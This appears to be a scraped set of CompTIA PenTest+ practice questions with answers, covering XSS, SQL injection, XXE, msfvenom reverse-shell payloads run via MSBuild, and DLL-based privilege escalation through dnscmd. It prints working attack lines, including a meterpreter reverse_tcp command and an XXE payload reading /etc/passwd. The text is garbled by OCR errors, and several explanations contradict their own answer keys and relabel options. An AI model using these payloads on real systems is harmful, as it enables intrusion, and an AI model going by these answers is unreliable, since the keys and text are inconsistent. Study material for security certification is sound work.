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CompTIA PenTest+ Exam Sample Questions (Q219-Q224):

NEW QUESTION # 219

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious.

INSTRUCTIONS

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in
the future.

Ifat any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Answer:

Explanation:

Explanation:

1. Reflected XSS - Input sanitization (<> ...)
2. Sql Injection Stacked - Parameterized Queries
3. DOM XSS - Input Sanitization (<> ...)

4. Local File Inclusion - sandbox req

5. Command Injection - sandbox req

6. SQLi union - paramtrized queries

7. SQLi error - paramtrized queries

8. Remote File Inclusion - sandbox

9. Command Injection - input saniti $

10. URL redirect - prevent external calls

NEW QUESTION # 220
A penetration tester discovers a deprecated directory in which files are accessible to anyone. Which of the following would most
likely assist the penetration tester in finding sensitive information without raising suspicion?

A. Scanning for exposed ports associated with the domain
B. Looking for externally available services

C. Searching for vulnerabilities and potential exploits

D. Enumerating cached pages available on web pages

Answer: D

Explanation:

Comprehensive and Detailed

When a penetration tester finds a deprecated web directory that's publicly accessible, the goal is to gather as much information as
possible without triggering alerts.

Enurrerating cached pages (such as those stored by Google Cache, the Wayback Machine, or local proxy caches) allows the tester
to:

View historical or deleted content that might contain sensitive data, credentials, or configuration info.

Gather evidence without directly interacting with the target system, thus minimizing detection risk.

Why not the others:

B . Looking for externally available services: Useful for attack surface mapping, but not for extracting data from the discovered
directory.

C . Scamming for exposed ports: Active probing that increases detection risk; unrelated to exploring a directory.

D . Searching for vulnerabilities/exploits: Premature; reconnaissance and content discovery come first.

CompTIA PT0-003 Mapping;

Domain 2.0: Information Gathering and Vulnerability Scanning

NEW QUESTION # 221
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following
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command:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1

LPORT=10112 -fcsharp

The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands
would most likely be used by the tester to continue with the attack on the host?

A. MSBuild.exe C:\evil.xml

B. mshta.exe C:\evil.xml

C. regsvi32 /s /n /u C:\evil.xml
D. Applnstaller.exe Cevil.xml

Answer: A

Explanation:

The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil. xml,
the most appropriate execution method nvolves MSBuild.exe, which can process XML files containing C# code:

Understanding MSBuild.exe:

Purpose: MSBuild is a build tool that processes project files written in XML and can execute tasks defined in the XML. It's
commonly used to build .NET applications and can also execute code embedded in project files.

NEW QUESTION # 222

A penetration tester finds that an application responds with the contents of the /etc/passwd file when the following payload is sent:
<?7xm version="1.0"?>

<IDOCTYPE data [ <!ENTITY foo SYSTEM "file///etc/passwd"™> |>

<test>&fo0;</test>

Which of the following should the tester recommend in the report to best prevent this type of vulnerability?

A. Inplement a WAF to filter all incoming requests

B. Ensure the requests application access logs are reviewed frequently
C. Drop all excessive file permissions with chmod o-rwx

D. Disable the use of external entities

Answer: D

Explanation:

This is an XML External Entity (XXE) attack, which occurs when an application processes XML mnput that allows external entity
references. The best mitigation is to disable external entities in the XML parser.

* Option A (Change file permissions) #: Changing file permissions does not fix the root cause, as the vulnerability is in XML
processing,

* Option B (Review logs) #: Logs help with detection, but do not prevent XXE attacks.

* Option C (Disable external entities) #: Correct.

* Disabling external entity resolution in the XML parser prevents XXE attacks.

* Option D (WAF) #: A WAF can help block attacks, but disabling external entities is the best solution.

# Reference: CompTIA PenTest+ PT0-003 Official Guide - Web Application Attacks (XXE)

NEW QUESTION # 223

During an assessiment, a penetration tester runs the following command:

dnsemd.exe /config /serverlevelplugindll C:\users\necad-TA\Documents\adduser.dll Which of the following is the penetration tester
trying to achieve?

A. Privilege escalation

B. A list of available users
C. Command injection

D. DNS enumeration

Answer: A

Explanation:
The tester is attempting to register a malicious DLL as a server-level plugin to escalate privileges.



Privilege escalation (Option B):

The command uses dnscmd.exe, a legitimate Windows tool for managing DNS servers.

By setting a malicious DLL (adduser.dll) as a server-level plugin, attackers can gain SYSTEM-level privileges.
This technique is a DLL hijacking attack.

Reference:

Incorrect options:

Option A (DNS enumeration): The command modifies DNS settings rather than querying them.

Option C (Command injection): The attacker is not injecting arbitrary shell commands.

Option D (List of users): The command does not retrieve user information.et unauthorized access to

NEW QUESTION # 224
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